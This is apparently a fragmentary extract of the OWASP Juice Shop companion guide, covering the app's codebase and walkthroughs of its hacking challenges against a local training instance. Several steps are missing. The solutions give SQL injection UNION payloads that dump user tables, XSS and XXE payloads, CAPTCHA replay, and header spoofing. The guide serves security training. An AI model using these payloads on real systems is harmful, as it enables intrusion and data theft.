ℹ Understanding the Declarative HTML APIs of the Angular Layout is crucial to be able to
write UI elements or entire screens without breaking responsiveness!
The following code snippet shows the contact.component.html view which - together with
the previously shown ContractComponent class and its associated styles in
contact.component.scss - represents the entire Contact Us screen.
<div fxLayoutAlign="center">
<mat-card>
<h3 translate>TITLE_CONTACT</h3>
<div *ngIf="confirmation">
<p class="confirmation">{{confirmation}}</p>
</div>
<div *ngIf="error">
<p class="error">{{error}}</p>
</div>
<div class="form-container">
<mat-form-field appearance="outline">
<mat-label translate>LABEL_AUTHOR</mat-label>
<input [formControl]="authorControl" matInput type="text">
</mat-form-field>
179
Codebase 101
<mat-form-field appearance="outline">
<mat-label translate>LABEL_COMMENT</mat-label>
<textarea id="comment" [formControl]="feedbackControl" matInput></textarea>
<mat-error *ngIf="feedbackControl.invalid && feedbackControl.errors.required"
translate>
MANDATORY_COMMENT
</mat-error>
</mat-form-field>
<mat-form-field>
<label style="font-weight:bold;" translate>LABEL_CAPTCHA</label>
<code id="captcha">{{captcha}}</code> <label>?</label>
<input id="captchaControl" [formControl]="captchaControl" matInput type="text">
</div>
</mat-card>
</div>
ℹ In the entire Juice Shop code base, inline templates are never used. Templates must
always be described in separate .html files.
Internationalization
All static texts in the user interface are fully internationalized using the ngx-translate
module. Texts coming from the server (e.g. product descriptions or server error messages)
are always in English.
180
Codebase 101
No hard-coded texts are allowed in any of the Templates or Components. Instead, property
keys have to be defined and are usually applied with a translate attribute that can be
placed in most HTML tags. You might have noticed several of these translate attributes in
the contact.component.html code snippet from the Templates section.
and adapt all other language files accordingly. All this happens behind the scenes in a
distinct branch l10n_develop which will be manually merged back into develop on a
regular basis.
To learn about the actual translation process please refer to the chapter Helping with
translations.
ℹ If you want to quickly test client-side code changes, it can be cumbersome and slow to
launch npm install over and over again. Instead you can use npm run serve to keep let
Angular watch for client-code changes and recompile the affected parts on the fly. You
usually not even have to manually refresh your browser with F5 to see your changes.
Server Tier
The backend of OWASP Juice Shop is a Node.js application based on the Express web
framework.
181
Codebase 101
ℹ On the server side all JavaScript code must be compliant to javascript (ES6) syntax.
Routes
Routing refers to determining how an application responds to a client request to a
particular endpoint, which is a URI (or path) and a specific HTTP request method (GET,
POST, and so on).
Each route can have one or more handler functions, which are executed when the route
is matched.4
Routes are defined via the the Express framework and can be handled by any of the
following middlewares:
An automatically generated API endpoint for one of the exposed tables from the
application's Data model
A hand-written middleware which encapsulates some business or technical
responsibility
Some third-party middleware that fulfills a non-functional requirement such as
file serving (via serve-index and serve-favicon )
adding HTTP security headers (via helmet and cors )
extracting cookies from HTTP requests (via cookie-parser )
writing access logs (via morgan )
catching unhandled exceptions and presenting a default error screen (via
errorhandler )
Integration tests for all routes can be found in the test/api folder alongside all other API
endpoint tests, from where Frisby.js/Jest assert the functionality of the entire backend on
HTTP-request/response level.
/api/Users accepting
GET requests to retrieve all (or a filtered list of) user records
182
Codebase 101
Apart from the User model also the Product , Feedback , BasketItem , Challenge ,
Complaint , Recycle , SecurityQuestion and SecurityAnswer models are exposed in this
fashion.
Not all HTTP verbs are accepted by every endpoint. Furthermore, some endpoints are
protected against anonymous access and can only be used by an authenticated user. This is
described later in section Access control on routes.
finale.initialize({
app,
sequelize: models.sequelize
})
// fix the api difference between finale (fka epilogue) and previously
// used sequlize-restful
resource.all.send.before((req, res, context) => {
context.instance = {
status: 'success',
data: context.instance
}
return context.continue
})
}
Hand-written middleware
The business functionality in the application backend is separated into tightly scoped
middleware components which are placed in the routes folder.
183
Codebase 101
Each middleware exposes a single function which encapsulates their responsibility. For
example, the angular.js middleware delivers the index.html page to the client:
184
Codebase 101
app.post('/api/Feedbacks', verify.forgedFeedbackChallenge())
app.post('/api/Feedbacks', verify.captchaBypassChallenge())
185
Codebase 101
The same applied for any challenges on top of third-party middleware, for example:
app.use(verify.errorHandlingChallenge())
app.use(errorhandler())
Similar to the Generated API endpoints, not all hand-written endpoints can be used
anonymously. The upcoming section Access control on routes explains the available
authorization checks.
Unit tests for hand-written routes can be found in the test/server folder. These tests are
written using the Chai assertion library in conjunction with the Mocha test framework.
The following snippet show the authorization settings for the User model which allows only
POST to anonymous users (for registration) and requires to be logged-in for retrieving the
app.get('/api/Users', insecurity.isAuthorized())
app.route('/api/Users/:id')
.get(insecurity.isAuthorized())
.put(insecurity.denyAll()) // Updating users is forbidden to make the password chang
e challenge harder
.delete(insecurity.denyAll()) // Deleting users is forbidden entirely to keep login
challenges solvable
Custom libraries
186
Codebase 101
Two important and widely used custom libraries reside in the lib folder, one containing
useful utilities ( lib/utils.js ) and the other encapsulating many of the broken security
features ( lib/insecurity.js ) of the application.
Useful utilities
The main responsibility of the utils.js module is setting challenges as solved and sending
associated notifications, optionally including a CTF flag code. It can also retrieve any
challenge by its name and check if a passed challenge is not yet solved, to avoid
unnecessary (and sometimes expensive) repetitive solving of the same challenge.
It also offers some basic String and Date utilities along with data (un-)wrapper functions
and a method for the synchronous file download used during Customization.
Insecurity features
187
Codebase 101
The insecurity.js module offers all security-relevant utilities of the application, but of
course mostly in some broken or flawed way:
Keeping a bi-directional map of users with their current authentication token (JWT) in
authenticatedUsers
CAPTCHA verification via verifyCaptcha() which compares the user's answer against
the requested CAPTCHA from the database
Storage Tier
SQLite and MarsDB form the backbone of the Juice Shop, as an e-commerce application
without storage for its product, customer and associated data would not be very realistic.
The Juice Shop uses light-weight implementations on the database layer to keep it runnable
as a single "all-inclusive" server which can be deployed in various ways with ease.
Database
For the main database of the Juice Shop the file-based SQLite engine is used. It does not
require a separate server but is accessed directly from data/juiceshop.sqlite on the file
system of the Node.js server. For ease of use and more flexibility the relational mapping
framework Sequelize is used to actually access the data through a querying API. Sometime
plain SQL is used as well, and of course in an unsafe way that allows Injection.
188
Codebase 101
Data model
The relational data model of the Juice Shop is very straightforward. It features the following
tables:
Users which contains all registered users (i.e. potential customers) of the web shop.
The table SecurityQuestions contains a fixed number of security questions a user has
to choose from during registration. The provided answer is stored in the table
SecurityAnswers .
The Products table contains the products available in the shop including price data.
When logging in every user receives a shopping basket represented by a row in the
Baskets table. When putting products into the basket this is reflected by entries in
189
Codebase 101
Non-relational database
Not all data of the Juice Shop resides in a relational schema. The product reviews are
stored in a non-relational in-memory MarsDB instance. An example user reviews entry
might look like the following inside MarsDB:
{"message":"One of my favorites!","author":"[email protected]","product":1,"_id":"PaZj
AKKMaxWieSF65"}
All interaction with MarsDB happens via the MongoDB query syntax.
190
Codebase 101
For the Users and Challenges tables the rows to be inserted are defined via YAML files in
the data/static folder. As the contents of the Products table and the non-relational
reviews collection can be customized, it is populated based on the active configuration file.
They are so simple that a YAML declaration file seemed like overkill.
The Captchas table remains empty on startup, as it will dynamically generate a new
CAPTCHA every time the Contact us page is visited.
File system
The folder ftp contains some files which are directly accessible. When a user completes a
purchase, an order confirmation PDF is generated and placed into this folder. Other than
that the ftp folder is also used to deliver the shop's terms of use to interested customers.
191
Codebase 101
End-to-end tests
As applications grow in size and complexity, it becomes unrealistic to rely on manual
testing to verify the correctness of new features, catch bugs and notice regressions.
Unit tests are the first line of defense for catching bugs, but sometimes issues come up
with integration between components which can't be captured in a unit test. End-to-end
tests are made to find these problems.5
The folder test/e2e contains an extensive suite of end-to-end tests which automatically
solves every challenge in the Juice Shop application. Whenever a new challenge is added,
a corresponding end-to-end test needs to be included, to prove that it can be exploited.
It is quite an impressive sight to see how 88 hacking challenges are solved without any
human interaction in a few minutes. The e2e tests constantly jump back and forth between
attacked pages and the Score Board letting you watch as the difficulty stars and progress
bar slowly fill and ever more green "solved"-badges appear. There is a video recording of
this on YouTube for the 7.0.0 release of the Juice Shop.
These tests are written and executed with Protractor which uses Selenium WebDriver under
the hood.
1. https://angular.io/guide/architecture-services ↩
2
192
Codebase 101
2. https://angular.io/guide/architecture-components ↩
3. https://angular.io/guide/template-syntax ↩
4. http://expressjs.com/en/starter/basic-routing.html ↩
5. https://docs.angularjs.org/guide/e2e-testing ↩
193
Help with translation
As long as the original author is taking part in the project's maintenance, there will always be
English and a complete German translation available. Everything beyond that depends on
volunteer translators!
Crowdin
Juice Shop uses a Crowdin project to translate the project and perform reviews:
https://crowdin.com/project/owasp-juice-shop
How to participate?
1. Create an account at Crowdin and log in.
2. Visit the project invitation page https://crowdin.com/project/owasp-juice-shop/invite
3. Pick a language you would like to help translate the project into
194
Help with translation
In the background, Crowdin will use the dedicated l10n_develop Git branch to synchronize
translations into the app/i18n/??.json language files where ?? is a language code (e.g.
en or de ).
195
Help with translation
If the language you would like to translate into is missing, just add a corresponding two-
letter-ISO-code- .json file to the folder /app/i18n . It will be imported to Crowdin afterwards
and added as a new language there as well.
The Crowdin process is the preferred way for the project to handle its translations as it
comes with built-in review and approval options and is very easy to use. But of course it
would be stupid of us to turn down a translation just because someone likes to edit JSON
files manually more!
1. https://crowdin.com/ ↩
196
Donations
Donations
As a project of the OWASP Foundation the Juice Shop is and always will be
open source
free software
The entire project is licensed under the liberal MIT license which allows even commercial
use and modifications. There will never be an "enterprise" or "premium" version of OWASP
Juice Shop either.
This does not mean that a project like it can thrive without any funding. Some examples on
what the OWASP Juice Shop spent (or might spend) money on:
Giveaways for conferences and meetups (e.g. stickers, magnets, iron-ons or temporary
tattoos)
Merchandise to reward awesome project contributions or marketing for the project (e.g.
apparel or mugs)
Bounties on features or fixes (via Bountysource)
Software license costs (e.g. an extended icon library)
Commercial support where the team lacks expertise (e.g. graphics design for this
book's cover was paid from donations)
Provider Link
PayPal
All donations are received and managed by the OWASP Foundation and must be earmarked
properly to end up in the Juice Shop budget. You will receive an official donation receipt.
197
Donations
3. Continue to the Personal Info step and fill at least all mandatory fields. Click Continue.
4. In the Agenda step select one of the available amounts or Project Supporter - Other to
put in an individual amount.
5. Enter OWASP Juice Shop Project into the mandatory field Which Project would you like
to support? and click Continue.
6. In the final Checkout step choose a Password for your account and fill in your _Billing
Information.
7. Click Finish to process your donation and be led to the Confirmation screen.
8. Here you can download your Receipt under the Documents section on the right.
198
Donations
Sponsorship Rules
OWASP Juice Shop adheres to the Project Sponsorship Operational Guidelines of the
OWASP Foundation. In one sentence, these allow named acknowledgements (with link) for
all monetary donations. For amounts of least 1000 US$ a logo image (with link) can be
added instead. The logo size can be at most 300x300 pixels. Logo and name placements
are guaranteed for 1 year after the donation but might stay there longer at the discretion of
the Project Leader.
You can find a list of all sponsors of the OWASP Juice Shop to date in the
Acknowledgements tab of the project homepage.
199
Challenge solutions
Challenge solutions
All URLs in the challenge solutions assume you are running the application locally and on
the default port http://localhost:3000. Change the URL accordingly if you use a different root
URL.
Often there are multiple ways to solve a challenge. In most cases just one possible solution
is presented here. This is typically the easiest or most obvious one from the author's
perspective.
The challenge solutions found in this release of the companion guide are compatible with
v9.0.1 of OWASP Juice Shop.
Challenges
Access a confidential document
1. Follow the link to titled Check out our boring terms of use if you are interested in such
lame stuff (http://localhost:3000/ftp/legal.md?md_debug=true) on the About Us page.
2. Successfully attempt to browse the directory by changing the URL into
http://localhost:3000/ftp
200
Challenge solutions
Here are two examples (out of many different ways) to provoke such an error situation and
solve this challenge immediately:
Visit http://localhost:3000/rest/qwertz
Log in to the application with ' (single-quote) as Email and anything as Password
201
Challenge solutions
202
Challenge solutions
203
Challenge solutions
3. Search for score and iterate through each finding to come across one that looks like a
route mapping section:
204
Challenge solutions
3. You will also learn that this table contains a column sql which holds the text of the
original CREATE TABLE or CREATE INDEX statement that created the table or index.
Getting your hands on this would allow you to replicate the entire DB schema.
4. During the Order the Christmas special offer of 2014 challenge you learned that the
/rest/products/search endpoint is susceptible to SQL Injection into the q parameter.
5. The attack payload you need to craft is a UNION SELECT merging the data from the
sqlite_master table into the products returned in the JSON result.
6. As a starting point we use the known working '))-- attack pattern and try to make a
UNION SELECT out of it
7. Searching for ')) UNION SELECT * FROM x-- fails with a SQLITE_ERROR: no such table: x
as you would expect.
8. Searching for ')) UNION SELECT * FROM sqlite_master-- fails with a promising
SQLITE_ERROR: SELECTs to the left and right of UNION do not have the same number of
205
Challenge solutions
9. The next step in a UNION SELECT -attack is typically to find the right number of returned
columns. As the Search Results table in the UI has 3 columns displaying data, it will
probably at least be three. You keep adding columns until no more SQLITE_ERROR
occurs (or at least it becomes a different one):
i. ')) UNION SELECT '1' FROM sqlite_master-- fails with number of result columns
error
ii. ')) UNION SELECT '1', '2' FROM sqlite_master-- fails with number of result
columns error
iii. ')) UNION SELECT '1', '2', '3' FROM sqlite_master-- fails with number of result
columns error
iv. (...)
v. ')) UNION SELECT '1', '2', '3', '4', '5', '6', '7', '8' FROM sqlite_master-- still
{"id":"1","name":"2","description":"3","price":"4","deluxePrice":"5","image":"6",
"createdAt":"7","updatedAt":"8","deletedAt":"9"} .
10. Next you get rid of the unwanted product results changing the query into something like
qwert')) UNION SELECT '1', '2', '3', '4', '5', '6', '7', '8', '9' FROM sqlite_master-
- leaving only the " UNION ed" element in the result set
11. The last step is to replace one of the fixed values with correct column name sql ,
which is why searching for qwert')) UNION SELECT sql, '2', '3', '4', '5', '6', '7',
'8', '9' FROM sqlite_master-- solves the challenge.
1. The Submit button is still disabled because you did not select a Rating yet.
2. Inspect the Submit button with your DevTools and note the disabled attribute of the
<button> HTML tag
3. Double click on disabled attribute to select it and then delete it from the tag.
206
Challenge solutions
Challenges
Access the administration section of the store
207
Challenge solutions
1. Open the main.js in your browser's developer tools and search for "admin".
2. One of the matches will be a route mapping to path: "administration" .
208
Challenge solutions
If the challenge is not immediately solved, you might have to F5 -reload to relay the bid
change to the Angular client.
209
Challenge solutions
3. Delete all entries with five star rating from the Customer Feedback table using the
trashcan button
210
Challenge solutions
Behave like any "white hat" should before getting into the
action
1. Visit https://securitytxt.org/ to learn about a proposed standard which allows websites to
define security policies.
2. Request the security policy file from the server at http://localhost:3000/.well-
known/security.txt to solve the challenge.
3. Optionally, write an email to the mentioned contact address donotreply@owasp-
juice.shop and see what happens... :e-mail:
Forge a coupon code that gives you a discount of at least 80% exploits z85 (Zero-MQ
Base85 implementation) as the library for coupon codes.
Solve challenge #999 requires you to create a valid hash with the hashid library.
Passwords in the Users table are hashed with unsalted MD5
211
Challenge solutions
Users registering via Google account will receive a very silly default password that
involves Base64 encoding.
1. Visit http://localhost:3000/#/contact.
2. Submit your feedback with one of the following words in the comment: z85 , base85 ,
base64 , md5 or hashid .
Challenges
Register as a user with administrator privileges
1. Submit a POST request to http://localhost:3000/api/Users with:
{"email":"admin","password":"admin","isAdmin":true} as body
212
Challenge solutions
2. Upon your next visit to the application's web UI the challenge will be marked as solved.
6. Submitting this request will satisfy the validation based on your own BasketId but put
the product into the other basket!
ℹ With other BasketId s you might need to play with the order of the duplicate property a bit
and/or make sure your own BasketId is lower than the one of the target basket to make this
HPP vulnerability work in your favor.
213
Challenge solutions
Supplying multiple HTTP parameters with the same name may cause an application to
interpret values in unanticipated ways. By exploiting these effects, an attacker may be
able to bypass input validation, trigger application errors or modify internal variables
values. As HTTP Parameter Pollution (in short HPP) affects a building block of all web
technologies, server and client side attacks exist.
Current HTTP standards do not include guidance on how to interpret multiple input
parameters with the same name. For instance, RFC 3986 simply defines the term
Query String as a series of field-value pairs and RFC 2396 defines classes of reserved
and unreserved query string characters. Without a standard in place, web application
components handle this edge case in a variety of ways (see the table below for details).
3. Fill out the form normally and submit it while checking the backend interaction in your
Developer Tools. The CAPTCHA identifier and solution are transmitted along with the
feedback in the request body: {comment: "Hello", rating: 1, captcha: "320",
captchaId: 18}
4. You will notice that a new CAPTCHA is retrieved from the REST endpoint. It will present
a different math challenge, e.g. {"captchaId":19,"captcha":"1*1-1","answer":"0"}
5. Write another feedback but before sending it, change the captchaId and captcha
parameters to the previous values of captchaId and answer . In this example you
would submit captcha: "320", captchaId: 18 instead of captcha: "0", captchaId: 19 .
6. The server will accept your feedback, telling your that the CAPTCHA can be pinned to
any previous one you like.
7. Write a script with a 10-iteration loop that submits feedback using your pinned
captchaId and captcha parameters. Running this script will solve the challenge.
214
Challenge solutions
Rewrite your script so that it parses the response from each CAPTCHA retrieval call to
http://localhost:3000/rest/captcha/ and sets the extracted captchaId and answer
parameters in each subsequent form submission as captchaId and captcha .
Using an automated browser test tool like Selenium WebDriver you could do the
following:
1. Read the CAPTCHA question from the HTML element <code id="captcha" ...>
2. Calculate the result on the fly using JavaScript
3. Let WebDriver write the answer into the <input name="feedbackCaptcha" ...> field.
The latter is actually the way it is implemented in the end-to-end test for this challenge:
beforeEach(() => {
browser.get('/#/contact')
comment = element(by.id('comment'))
rating = $$('.br-unit').last()
captcha = element(by.id('captchaControl'))
submitButton = element(by.id('submitButton'))
solveNextCaptcha()
})
function solveNextCaptcha () {
element(by.id('captcha')).getText().then((text) => {
const answer = eval(text).toString() // eslint-disable-line no-eval
captcha.sendKeys(answer)
})
}
It is worth noting that both alternate solutions would still work even if the CAPTCHA-pinning
problem would be fixed in the application!
215
Challenge solutions
3. In your browser's developer tools remove the hidden attribute from above <input>
tag.
4. The field should now be visible in your browser. Type any user's database identifier in
there (other than your own if you are currently logged in) and submit the feedback.
216
Challenge solutions
2. Submit the review while observing the Networks tab of your browser.
4. Change the author name to [email protected] in Request Body and re-send the
request.
217
Challenge solutions
4. She actually did a very similar padding trick, just with the name of her husband Kif
written as K1f instead of D0g from the example! She did not even bother changing the
padding length!
5. Visit http://localhost:3000/#/login and log in with credentials [email protected] and
password K1f..................... to solve the challenge
218
Challenge solutions
application/json as Content-Type
and Bearer ? as Authorization header, replacing the ? with the token you
copied from the browser.
8. Visit http://localhost:3000/#/basket to view Your Basket with the negative quantity on the
first item
219
Challenge solutions
9. Click Checkout to issue the negative order and solve this challenge.
220
Challenge solutions
3. Inspect the HTML in your browser and note down all text inside <span class="hot">
tags, which are http://localhost , We may also , instruct you , to refuse all ,
reasonably necessary and responsibility .
It seems the Juice Shop team did not appreciate your extensive reading effort enough to
provide even a tiny gratification, as you will receive only a 404 Error: ENOENT: no such file
or directory, stat '/app/frontend/dist/frontend/assets/private/thank-you.jpg' .
as body
and application/json as Content-Type
221
Challenge solutions
222
Challenge solutions
223
Challenge solutions
224
Challenge solutions
3. The response from the server will be a 204 with no content, but the challenge will be
successfully solved.
Files larger than 200 kB are rejected by an upload size check on server side with a 500
error stating Error: File too large .
225
Challenge solutions
2. The response from the server will be a 204 with no content, but the challenge will be
successfully solved.
Uploading a non-PDF file larger than 100 kB will solve Upload a file larger than 100 kB
simultaneously.
body
and application/json as Content-Type header.
226
Challenge solutions
3. Visit http://localhost:3000/#/administration.
4. An alert box with the text "xss" should appear.
5. Close this box. Notice the somewhat broken looking row in the Registered Users table?
6. Click the "eye"-button in that row.
7. A modal overlay dialog with the user details opens where the attack string is rendered
as harmless text.
application/json as Content-Type
and Bearer ? as Authorization header, replacing the ? with the token you
copied from the browser.
227
Challenge solutions
4. Visit http://localhost:3000/#/search.
5. An alert box with the text "xss" should appear.
6. Close this box. Notice the product row which has a frame border in the description in the
All Products table
7. Click the "eye"-button next to that row.
8. Another alert box with the text "xss" should appear. After closing it the actual details
dialog pops up showing the same frame border.
228
Challenge solutions
on Windows).
3. Upload this file through the File Complaint dialog and observe the Javascript console
while doing so. It should give you an error message containing the parsed XML,
including the contents of the local system file!
229
Challenge solutions
<trades>
<metadata>
<name>Apple Juice</name>
<trader>
<foo>&xxe;</foo>
<name>B. Kimminich</name>
</trader>
<units>1500</units>
<price>106</price>
<name>Lemon Juice</name>
<trader>
<name>B. Kimminich</name>
</trader>
<units>4500</units>
<price>195</price>
</metadata>
</trades>
Challenges
Gain access to any access log file of the server
1. Solve the Access a confidential document or any related challenges which will bring the
exposed /ftp folder to your attention.
2. Visit http://localhost:3000/ftp and notice the file incident-support.kdbx which is needed
for Log in with the support team's original user credentials and indicates that some
support team is performing its duties from the public Internet and possibly with VPN
access.
3. Guess luckily or run a brute force attack with e.g. OWASP ZAPs DirBuster plugin for a
possibly exposed directory containing the log files.
4. Following the hint to drill down deeper than one level, you will at some point end up with
http://localhost:3000/support/logs.
5. Inside you will find at least one access.log of the current day. Open or download it to
solve this challenge.
230
Challenge solutions
7. You are now in the area of Blind SQL Injection, where trying create valid queries is a
matter of patience, observance and a bit of luck.
231
Challenge solutions
8. Varying the payload into '-- for q results in a SQLITE_ERROR: incomplete input . This
error happens due to two (now unbalanced) parenthesis in the query.
9. Using '))-- for q fixes the syntax and successfully retrieves all products, including
the (logically deleted) Christmas offer. Take note of its id (which should be 10 )
232
Challenge solutions
standards." in its description, indicating that this is the product you need to investigate
for this challenge
3. Further notice the partial list of ingredients in the description namely "Cherymoya
Annona cherimola, Jabuticaba Myrciaria cauliflora, Bael Aegle marmelos... and others"
4. Submitting either or all of the above ingredients at http://localhost:3000/#/contact will
not solve this challenge - it must be some unlisted ingredients that create a dangerous
combination.
5. A simple Google search for Cherymoya Annona cherimola Jabuticaba Myrciaria cauliflora
Bael Aegle marmelos should bring up several results, one of them being a blog post "Top
20 Fruits You Probably Don’t Know" from 2011. Visit this post at
https://listverse.com/2011/07/08/top-20-fruits-you-probably-dont-know
6. Scrolling through the list of replies you will notice a particular comment from user
Localhorst saying "Awesome, some of these fruits also made it into our "Rippertuer
Special Juice"! https://pastebin.com/90dUgd7s"
7. Visit https://pastebin.com/90dUgd7s to find a PasteBin paste titled "Rippertuer Special
Juice Ingredients" containing a JSON document with many exotic fruits in it, each with
its name as type and a detailed description
8. When carefully reading all fruit descriptions you will notice a warning on the
Hueteroneel fruit that "this coupled with Eurogium Edule was sometimes found fatal"
9. As Eurogium Edule is also on the very same list of ingredients, these two must be the
233
Challenge solutions
3J0dA==
3. Trying this as a URL will not work. Notice the recurring patterns ( rtt , gur etc.) in the
above string
4. ROT13-decode this into
/the/devs/are/so/funny/they/hid/an/easter/egg/within/the/easter/egg
5. Visit
http://localhost:3000/the/devs/are/so/funny/they/hid/an/easter/egg/within/the/easter/egg
234
Challenge solutions
Because there are 26 letters (2×13) in the basic Latin alphabet, ROT13 is its own
inverse; that is, to undo ROT13, the same algorithm is applied, so the same action can
be used for encoding and decoding. The algorithm provides virtually no cryptographic
security, and is often cited as a canonical example of weak encryption.1
2. You will find a function applyCoupon() that contains a static comparison "WMNSDY2019"
=== this.couponControl.value pointing to WMNSDY2019 as the solution.
3. Submitting WMNSDY2019 will yield an Invalid Coupon. error, though. This is because of
the second part of the validity check 15519996e5 === this.clientDate .
4. Converting this number into a JavaScript date will tell you that this campaign was active
on March 8th 2019 only: Women's Day!
5. Set the time of your computer to March 8th 2019 and try to submit the code again.
6. This time it will be accepted! Proceed to Checkout to get the challenge solved.
235
Challenge solutions
By embedding NULL Bytes/characters into applications that do not handle postfix NULL
terminators properly, an attacker can exploit a system using techniques such as Local
File Inclusion. The Poison Null Byte exploit takes advantage strings with a known length
that can contain null bytes, and whether or not the API being attacked uses null
terminated strings. By placing a NULL byte in the string at a certain byte, the string will
terminate at that point, nulling the rest of the string, such as a file extension.2
236
Challenge solutions
4. In the function body you will notice a call to userService.save() - which is used to
create a user account in the non-Google User Registration process - followed by a call
to the regular userService.login()
5. The save() and login() function calls both leak how the password for the account is
set: password: btoa(n.email.split("").reverse().join(""))
6. Some Internet search will reveal that window.btoa() is a default function to encode
strings into Base64.
7. What is passed into btoa() is email.split("").reverse().join("") , which is simply the
email address string reversed.
8. Now all you have to do is Base64-encode [email protected] , so you can log
in directly with Email [email protected] and Password
bW9jLmxpYW1nQGhjaW5pbW1pay5ucmVvamI= .
237
Challenge solutions
obfuscated: {"status":"success","data":[{"orderId":"5267-
829f123593e9d098","email":"*dm*n@j**c*-sh.*p","totalPrice":2.88,"products":
{"quantity":1,"name":"Apple
Pomace","price":0.89,"total":0.89,"bonus":0}],"bonus":0,"eta":"2","_id":"tosmfPsDaWcEn
zRr3"}]}
6. It looks like certain letters - seemingly all vowels - were replaced with * characters
before the order was stored in the database.
7. Register a new user with an email address that would result in the exact same
obfuscated email address. For example register [email protected] to steal the data of
[email protected] .
8. Log in with your new user and immediately get your data exported via
http://localhost:3000/#/privacy-security/data-export.
9. You will notice that the order belonging to the existing user [email protected] (in this
example 5267-829f123593e9d098 ) is part of your new user's data export due to the clash
when obfuscating emails!
To avoid real Denial-of-Service (DoS) issues, the Juice Shop will only wait for a maximum of
2 seconds, so http://localhost:3000/rest/products/sleep(999999)/reviews should not take
longer than http://localhost:3000/rest/products/sleep(2000)/reviews to respond.
238
Challenge solutions
and Bearer ? as Authorization header, replacing the ? with the token you
received in step 1.
3. Check different product detail dialogs to verify that all review texts have been changed
into NoSQL Injection!
239
Challenge solutions
1. Trying to find out who "Bender" might be should immediately lead you to Bender from
Futurama as the only viable option
240
Challenge solutions
2. Running this image through some decoders available online will probably just return
garbage, e.g. http://stylesuxx.github.io/steganography/ gives you ÿÁÿm¶Û$–ÿ ?HÕPü^‡ÛN'c
±UY‰;fä’HÜmÉ#r<v¸ or
steganography/#unhide you will also find nothing independent of how you set the
Hidden bits slider:
241
Challenge solutions
3. Moving on to client applications you might end up with OpenStego which is built in Java
but also offers a Windows installer at https://github.com/syvaidya/openstego/releases.
4. Selecting the 5.png and clicking Extract Data OpenStego will quickly claim to have
been successful:
242
Challenge solutions
5. The image that will be put into the Output Stego file location clearly depicts a pixelated
version of Pickle Rick (from S3E3 - one of the best Rick & Morty episodes ever)
6. Visit http://localhost:3000/#/contact
7. Submit your feedback containing the name Pickle Rick (case doesn't matter) to solve
this challenge.
2. Scrutinizing each entry in the dependencies list you will at some point get to epilogue-
js , the overview page of which gives away that you find the culprit at
https://www.npmjs.com/package/epilogue-js
243
Challenge solutions
3. Visit http://localhost:3000/#/contact
4. Submit your feedback with epilogue-js in the comment to solve this challenge
You can probably imagine that the typosquatted epilogue-js would be a lot harder to
distinguish from the original repository epilogue , if it where not marked with the THIS IS
NOT THE MODULE YOU ARE LOOKING FOR!-warning at the very top. Below you can see
the original epilogue NPM page:
244
Challenge solutions
2. The attack payload you need to craft is a UNION SELECT merging the data from the
user's DB table into the products returned in the JSON result.
3. As a starting point we use the known working '))-- attack pattern and try to make a
UNION SELECT out of it
4. Searching for ')) UNION SELECT * FROM x-- fails with a SQLITE_ERROR: no such table: x
as you would expect. But we can easily guess the table name or infer it from one of the
previous attacks on the Login form where even the underlying SQL query was leaked.
5. Searching for ')) UNION SELECT * FROM Users-- fails with a promising SQLITE_ERROR:
SELECTs to the left and right of UNION do not have the same number of result columns
i. ')) UNION SELECT '1' FROM Users-- fails with number of result columns error
245
Challenge solutions
ii. ')) UNION SELECT '1', '2' FROM Users-- fails with number of result columns error
iii. ')) UNION SELECT '1', '2', '3' FROM Users-- fails with number of result columns
error
iv. (...)
v. ')) UNION SELECT '1', '2', '3', '4', '5', '6', '7', '8' FROM Users-- still fails
"createdAt":"7","updatedAt":"8","deletedAt":"9"} .
7. Next you get rid of the unwanted product results changing the query into something like
qwert')) UNION SELECT '1', '2', '3', '4', '5', '6', '7', '8', '9' FROM Users--
leaving only the " UNION ed" element in the result set
8. The last step is to replace the fixed values with correct column names. You could guess
those or derive them from the RESTful API results or remember them from previously
seen SQL errors while attacking the Login form.
9. Searching for qwert')) UNION SELECT '1', id, email, password, '5', '6', '7', '8', '9'
FROM Users-- solves the challenge giving you a the list of all user data in convenient
JSON format.
There is of course a much easier way to retrieve a list of all users as long as you are logged
in: Open http://localhost:3000/#/administration while monitoring the HTTP calls in your
browser's developer tools. The response to http://localhost:3000/rest/user/authentication-
details also contains the user data in JSON format. But: This list has all the password
hashes replaced with * -symbols, so it does not count as a solution for this challenge.
246
Challenge solutions
which was fixed with version 1.4.3 - one release later than used by the Juice Shop. The
referenced GitHub issue explains the problem and gives an exploit example:
Mitigation: Run sanitization recursively until the input html matches the output html.
1. Visit http://localhost:3000/#/contact.
2. Enter <<script>Foo</script>iframe src="javascript:alert( xss )"> as Comment
3. Choose a rating and click Submit
4. Visit http://localhost:3000/#/about for a first "xss" alert (from the Customer Feedback
slideshow)
247
Challenge solutions
3. Log out and then log in again with the same user as before.
4. Visit http://localhost:3000/#/privacy-security/last-login-ip again where your IP Address
should now show your actual remote IP address (or 127.0.0.1 if you run the
application locally).
5. Find the request to https://localhost:3000/rest/saveLoginIp in your Browser DevTools.
6. Replay the request after adding the X-Forwarded-For HTTP header to spoof an
arbitrary IP, e.g. 1.2.3.4 .
7. Unfortunately in the response (and also on http://localhost:3000/#/privacy-security/last-
login-ip after logging in again) you will still find your remote IP as before
8. Repeat step 6. only with the proprietary header True-Client-IP .
9. In the JSON response you will notice lastLoginIp: "1.2.3.4" and after logging in again
248
Challenge solutions
Challenges
Learn about the Token Sale before its official
announcement
1. Open the main.js in your browser's developer tools and search for some keywords
like "ico", "token", "bitcoin" or "altcoin".
2. Note the names of the JavaScript functions where these occur in, like Vu() and
Hu(l) . These names are obfuscated, so they might be different for you.
249
Challenge solutions
3. Searching for references to those functions in main.js might yield some more
functions, like zu(l) and some possible route name app-token-sale
250
Challenge solutions
6. Search for function Ca( to find the declaration of the function that should return a
matcher to the route name you are looking for.
7. Copy the obfuscating function into the JavaScript console of your browser and execute
it immediately by appending a () . This will probably yield a Uncaught SyntaxError:
Unexpected token ) . When you pass values in, like (1) or ('a') you will notice that
9. The code that gives you the sought-after path is the code block passed into the
match() function inside Ca(l) !
251
Challenge solutions
10. Copying that inner code block and executing that in your console will still yield an error!
11. You need to append it to a string to make it work, which will finally yield the path
/tokensale-ico-ea .
"" + function() {
for (var l = [], n = 0; n < arguments.length; n++)
l[n] = arguments[n];
var e = Array.prototype.slice.call(l)
, t = e.shift();
return e.reverse().map(function(l, n) {
return String.fromCharCode(l - t - 45 - n)
}).join("")
}(25, 184, 174, 179, 182, 186) + 36669..toString(36).toLowerCase() + funct
ion() {
for (var l = [], n = 0; n < arguments.length; n++)
l[n] = arguments[n];
var e = Array.prototype.slice.call(arguments)
